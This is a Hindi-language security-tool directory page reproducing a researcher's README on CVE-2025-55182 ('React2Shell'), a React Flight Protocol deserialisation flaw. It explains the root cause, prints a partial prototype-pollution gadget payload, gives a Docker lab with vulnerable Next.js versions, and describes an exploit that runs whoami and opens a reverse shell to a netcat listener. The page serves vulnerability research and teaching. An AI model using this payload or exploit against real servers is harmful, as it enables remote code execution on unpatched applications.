Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
React2Shell — CVE-2025-55182 पर मेरा शोध | Kitploit
उपकरण/GitHubGitHub/i3r1h0n/react2shell
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षापेलोड डेवलपमेंट
GitHubi3r1h0n/react2shell

React2Shell

CVE-2025-55182 पर मेरा शोध

रिपॉजिटरी देखें
9 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

React2Shell (CVE-2025-55182)

अवलोकन

यह भंडार CVE-2025-55182 पर मेरा शोध है, जिसे React2Shell भेद्यता के रूप में भी जाना जाता है। भंडार दो मुख्य भागों से बना है: स्टैंड और एक्सप्लॉइट।

संदर्भ

इस सुरक्षा दोष के बारे में कुछ जानकारी:

  • NIST
  • HackerOne लेख
  • Vercel द्वारा सारांश
  • WIZ द्वारा लेख
  • लेखक का वेबपेज
  • मूल PoC

मूल कारण

यह भेद्यता मूलतः उपयोगकर्ता इनपुट सत्यापन की कमी है। लेकिन यह इतना सरल नहीं है =)

React Client भाग और React Server भाग डेटा के आदान-प्रदान के लिए React Flight Protocol का उपयोग करते हैं। इसके बारे में शीघ्र परिचित होने के लिए यहाँ एक अच्छी बातचीत है।

React Flight Protocol संदेश खंडों का उदाहरण:

root@kitploit:~
{
    "0": (None, '["$1"]'),
    "1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
    "2": (None, '{"fruitName":"cherry"}'),
}

RFP के खंड, $ ऑपरेटर का उपयोग करके एक दूसरे को संदर्भित कर सकते हैं। जब खंड बाद में सर्वर पर डिसेरियलाइज़ होते हैं, तो ये लिंक हल हो जाते हैं। यहाँ एक महत्वपूर्ण बात यह है कि हम इससे ऑब्जेक्ट प्रोटोटाइप तक पहुँच सकते हैं।

प्रोटोटाइप में हेरफेर करके, हम V8 को हमारे .then() की प्रतीक्षा करने के लिए बाध्य कर सकते हैं। परिणामी पेलोड इस प्रकार दिख सकता है:

root@kitploit:~
{
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"return foo; ",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

मैं इस बात के विवरण में अधिक गहराई से नहीं जाऊँगा कि वास्तव में यह गैजेट श्रृंखला कैसे काम करती है, यदि आप इसके बारे में अधिक जानना चाहते हैं, तो Moritz Sanft द्वारा लिखा गया एक शानदार विश्लेषण यहाँ पढ़ें।

आप github संस्करण तुलना भी देख सकते हैं, पैच से पहले और बाद में, यदि आप इस दोष में और गहराई से जाना चाहते हैं।

स्टैंड

मैंने एक सरल react/next.js ऐप बनाया है, जो (देखें stand/package.json) का उपयोग करता है:

root@kitploit:~
"dependencies": {
  "next": "16.0.6",
  "react": "19.2.0",
  "react-dom": "19.2.0"
},

बस create-next-app से बनाया गया एक सरल पेज जिसमें टेक्स्ट सामग्री है:

शुरू करने के लिए, stand निर्देशिका में यह चलाएँ:

root@kitploit:~
docker compose up --build -d

फिर अपने ब्राउज़र में http://localhost:3000 पर जाएँ।

एक्सप्लॉइट

शोषण सीधा है। हमें बस सर्वर पर विशेष रूप से निर्मित RFP खंडों को हमारे पेलोड के साथ Post अनुरोध में भेजना होगा। exploit/src/main.py देखें। इसमें यह भी शामिल है कि सर्वर संवेदनशील है या नहीं, यह जाँचने के लिए एक सरल जाँच; यह whoami कमांड चलाने का प्रयास करता है, यदि इसका टाइमआउट समाप्त हो जाता है, तो सर्वर संभवतः पैच किए गए संस्करण का उपयोग कर रहा है।

आप exploit/resource/chunk.json में RFP पेलोड देख सकते हैं।

एक्सप्लॉइट चलाने से पहले, netcat लिसनर सेट करना और रिवर्स शेल प्राप्त करने के लिए exploit/resource/config.toml को अपने होस्ट और पोर्ट के साथ अपडेट करना न भूलें।

हैप्पी पाउनिंग!

क्रेडिट्स

बड़ा सम्मान Lachlan Davidson को, जिन्होंने भेद्यता की खोज की, maple को, जिन्होंने एक अच्छा गैजेट पाया, और Moritz Sanft को भी, जिन्होंने अपना PoC साझा किया और एक शानदार विश्लेषण लिखा।

I3r1h0n द्वारा निर्मित।

टूल डाउनलोड करें